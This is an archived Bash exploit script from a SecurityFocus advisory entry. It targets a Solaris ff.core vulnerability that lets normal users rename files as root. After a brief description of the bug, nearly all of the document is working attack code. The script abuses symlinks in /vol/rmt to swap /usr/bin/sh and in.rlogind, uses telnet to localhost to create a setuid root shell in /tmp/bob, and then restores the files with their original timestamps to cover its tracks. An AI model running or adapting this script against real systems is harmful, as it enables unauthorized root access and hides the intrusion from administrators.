130 lines
No EOL
3.6 KiB
Bash
Executable file
130 lines
No EOL
3.6 KiB
Bash
Executable file
#source: https://www.securityfocus.com/bid/327/info
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#
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#There is a vulnerability in Solaris's ff.core utility which allows normal users to execute the rename command as root. This particular bug when leveraged against a series of other configuration issues in a standard Solaris setup can lead to a root compromise. An example of this attack executed via the ff.core rename attack could be as follows:
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#
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#1. rename /usr/bin/sh /usr/bin/admintool
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#2. rename /usr/sbin/swmtool /usr/sbin/in.rlogind
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#3. telnet localhost login and clean up
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#
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#Detailed messages concerning this problem and related fixes are attached to this Vulnerability in the Referance section.
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#
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#CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
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#
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#The following exploit was provided:
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#!/bin/sh
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# /usr/openwin/bin/ff.core exploit - horizon
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# tested on 2.5.1, 2.6 and Solaris 7 (2.7)
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# thanks to joej, adm, and joej :>
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# if you want to exploit 2.5, you can just make this move /etc/group over
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# /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak
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# first test if we can pull this off
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echo "Testing if exploit is possible..."
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if [ -x /usr/openwin/bin/ff.core ]
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then
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:
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else
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echo "ff.core isn't there or executable. :/"
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exit 1
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fi
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if [ -w /vol/rmt ]
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then
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:
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else
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echo "We can't do the symlink. :<"
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exit 1
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fi
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mkdir /tmp/.test42
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touch /tmp/.test42/bob
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rm -f /vol/rmt/diskette0
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ln -fs /tmp/.test42 /vol/rmt/diskette0
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/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null
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if [ -f /tmp/.test42/jim ]
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then
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echo "Test successful. Proceeding..."
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else
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echo "Hmmm.. doesn't look like this is going to work :/"
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exit 1
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fi
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rm -rf /tmp/.test42
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# lets make some backups
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echo "Backing up clobbered files to /tmp/.bk"
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mkdir /tmp/.bk
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#save admintools times
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touch /tmp/.bk/admintool
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touch -r /usr/bin/admintool /tmp/.bk/admintool
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#save rloginds times
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touch /tmp/.bk/in.rlogind
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touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind
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#save a copy of /usr/bin/sh
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cp /usr/bin/sh /tmp/.bk
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touch -r /usr/bin/sh /tmp/.bk/sh
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echo "Doing sploit..."
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rm -f /vol/rmt/diskette0
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ln -fs /usr/bin /vol/rmt/diskette0
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/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null
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rm -f /vol/rmt/diskette0
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ln -fs /usr/bin /vol/rmt/diskette0
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/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null
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rm -f /vol/rmt/diskette0
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ln -fs /usr/sbin /vol/rmt/diskette0
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/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null
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rm -f /vol/rmt/diskette0
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ln -fs /usr/sbin /vol/rmt/diskette0
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/usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null
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echo "Done with sploit. Testing and trying to clean up now..."
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sleep 1
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(sleep 2;echo " cp /bin/rksh /tmp/bob; chmod 4755 /tmp/bob; exit; ") | telnet localhost login
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sleep 1
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if [ -f /tmp/bob ]
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then
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echo "w00p! Should have a suid root sh in /tmp/bob"
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echo "btw, its rksh because solaris is silly"
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echo "Let me try to clean up my mess..."
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else
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echo "hrmmph.. didnt work. hope shits not screwed up bad :/"
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exit 1
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fi
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echo "
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cp /tmp/.bk/sh /usr/bin/sh
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chmod 555 /usr/bin/sh
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chown bin /usr/bin/sh
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chgrp root /usr/bin/sh
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touch -r /tmp/.bk/sh /usr/bin/sh
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mv /usr/bin/admintool.bak /usr/bin/admintool
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touch -r /tmp/.bk/admintool /usr/bin/admintool
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rm -f /usr/sbin/swmtool
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ln -s /usr/bin/admintool /usr/sbin/swmtool
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touch -r /usr/bin/admintool /usr/sbin/swmtool
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rm -f /usr/sbin/in.rlogind
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mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind
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touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind
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rm -rf /tmp/.bk
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" | /tmp/bob
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echo "everything should be cool.. i think :>"
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/tmp/bob |